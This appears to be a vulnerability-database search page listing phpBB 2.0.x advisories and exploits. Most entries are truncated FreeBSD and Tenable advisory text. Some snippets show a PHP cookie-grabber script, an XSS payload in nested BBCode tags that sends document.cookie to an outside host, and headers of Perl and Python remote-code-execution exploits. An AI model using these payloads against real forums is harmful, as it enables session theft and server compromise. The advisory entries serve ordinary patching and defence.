2447 matches found
phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)
No description provided by source. // Original Author: 'Sjaak Rake' Ref: http://www.hackthissite.org/articles/read/175/ ?php $cookie = $GET'c'; $ip = getenv 'REMOTEADDR'; $date=date"j F, Y, g:i a"; $referer=getenv 'HTTPREFERER'; $fp = fopen'cookies.txt', 'a'; fwrite$fp, 'Cookie: '.$cookie.'br IP:...
FreeBSD : phpbb -- Insuffient check against HTML code in usercp_register.php (4a0b334d-8d8d-11d9-afa0-003048705d5a)
Neo Security Team reports : If we specify a variable in the html code any type : hidden, text, radio, check, etc with the name allowhtml, allowbbcode or allowsmilies, is going to be on the html, bbcode and smilies in our signature. This is a low risk vulnerability that allows users to bypass...
FreeBSD : phpbb -- multiple vulnerabilities (326c517a-d029-11d9-9aed-000e0c2e438a)
phpBB is vulnerable to remote exploitation of an input validation vulnerability allows attackers to read the contents of arbitrary system files under the privileges of the webserver. This also allows remote attackers to unlink arbitrary system files under the privileges of the webserver...
FreeBSD : phpbb -- arbitrary command execution and other vulnerabilities (e3cf89f0-53da-11d9-92b7-ceadd4ac2edd)
The ChangeLog for phpBB 2.0.11 states : Changes since 2.0.10 - Fixed vulnerability in highlighting code very high severity, please update your installation as soon as possible - Fixed unsetting global vars - Matt Kavanagh - Fixed XSS vulnerability in username handling - AnthraX101 - Fixed not...
FreeBSD : phpbb -- multiple information disclosure vulnerabilities (03653079-8594-11d9-afa0-003048705d5a)
psoTFX reports : phpBB Group are pleased to announce the release of phpBB 2.0.12 the 'Horray for Furrywood' release. This release addresses a number of bugs and a couple of potential exploits. ... one of the potential exploits addressed in this release could be serious in certain situations and...
FreeBSD : phpbb -- privilege elevation and path disclosure (53e711ed-8972-11d9-9ff8-00306e01dda2)
The phpbb developer group reports : phpBB Group announces the release of phpBB 2.0.13, the 'Beware of the furries' edition. This release addresses two recent security exploits, one of them critical. They were reported a few days after .12 was released and no one is more annoyed than us, having to...
phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure (Cookie Grabber)
// Original Author: 'Sjaak Rake' Ref: http://www.hackthissite.org/articles/read/175/ IP: ' .$ip. ' Date and Time: ' .$date. ' Referer: '.$referer.''; fclose$fp; ? //rename it to cookies.php and create one new file steal.php and chmod it to 777 milw0rm.com 2005-07-13...
FreeBSD : multiple vulnerabilities in phpBB (c551ae17-7f00-11d8-868e-000347dd607f)
Users with admin rights can severly damage an phpBB installation, potentially triggered by viewing a page with a malicious link sent by an attacker. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from the FreeBSD VuXML...
FreeBSD : phpbb (2258)
The following package needs to be updated: phpbb %NASLMINLEVEL 70300 C Tenable Network Security, Inc. This script contains information extracted from VuXML : Copyright 2003-2006 Jacques Vidrine and contributors Redistribution and use in source VuXML and 'compiled' forms SGML, HTML, PDF, PostScrip...
FreeBSD : phpBB session table exhaustion (a56a72bb-9f72-11d8-9585-0020ed76ef5a)
The includes/sessions.php unnecessarily adds session item into session table and therefore vulnerable to a denial-of-service attack. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from the FreeBSD VuXML database : Copyrig...
FreeBSD : phpbb -- remote PHP code execution vulnerability (4afacca1-eb9d-11d9-a8bd-000cf18bbe54)
FrSIRT Advisory reports : A vulnerability was identified in phpBB, which may be exploited by attackers to compromise a vulnerable web server. This flaw is due to an input validation error in the 'viewtopic.php' script that does not properly filter the 'highlight' parameter before calling the...
phpbb <=2.0.16 bug
?php / Installation Path Disclosure Vulnerability phpBB = 2.0.16 Example: if isset$HTTPPOSTVARS'mode' || isset$HTTPGETVARS'mode' $mode = isset$HTTPPOSTVARS'mode' ? $HTTPPOSTVARS'mode' : $HTTPGETVARS'mode'; $mode = htmlspecialchars$mode; else $mode = ''; If you get url like...
phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit
Exploit for unknown platform in category web applications ==================================================== phpBB = 2.0.16 XSS Remote Cookie Disclosure Exploit ==================================================== / Post the below code into a new message. Example Output: ... - -...
phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit
No description provided by source. / 1 Change milw0rm.com to your domain.com 2 Post the below code into a new message. Example Output: ... - - 09/Jul/2005:03:09:13 -0500 "GET...
phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure
phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure / 1 Change milw0rm.com to your domain.com 2 Post the below code into a new message. Example Output: ... - - 09/Jul/2005:03:09:13 -0500 "GET...
phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure
/ 1 Change milw0rm.com to your domain.com 2 Post the below code into a new message. Example Output: ... - - 09/Jul/2005:03:09:13 -0500 "GET...
phpbb2015dad.txt
!/usr/bin/perl phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability This exploit gives the user all the details about the database connection such as database host, username, password and database name. Written by SecureD, gvr.securedgmailcom,2005 Greetings to GvR, Jumento, PP, CKrew &...
php2016.txt
From: "alex" Subject: XSS in nested tag in phpbb 2.0.16 Hi all! Example: color=EFEFEFurlwww.uturl=www.s=''style='font-size:0;color:EFEFEF'styl e='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://antic hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=nullstyle='font-size:0;/u rl/url'/colo...
phpbb2015.py.txt
!/usr/bin/pyth0n print "\nphpBB 2.0.15 arbitrary command execution eXploit" print " 2005 by [email protected]" print " well, just because there is none." import sys from urllib2 import Request, urlopen from urlparse import urlparse, urlunparse from urllib import quote as quoteplus INITTAG =...
CVE-2005-2161
The CVE-2005-2161 entry covers a cross-site scripting (XSS) vulnerability in phpBB 2.0.16 that allows remote attackers to inject arbitrary script or HTML via nested [url] tags. Connected sources confirm phpBB2 exposure and the Debian security advisory DSA-768-1 (and related Debian/NVD entries) de...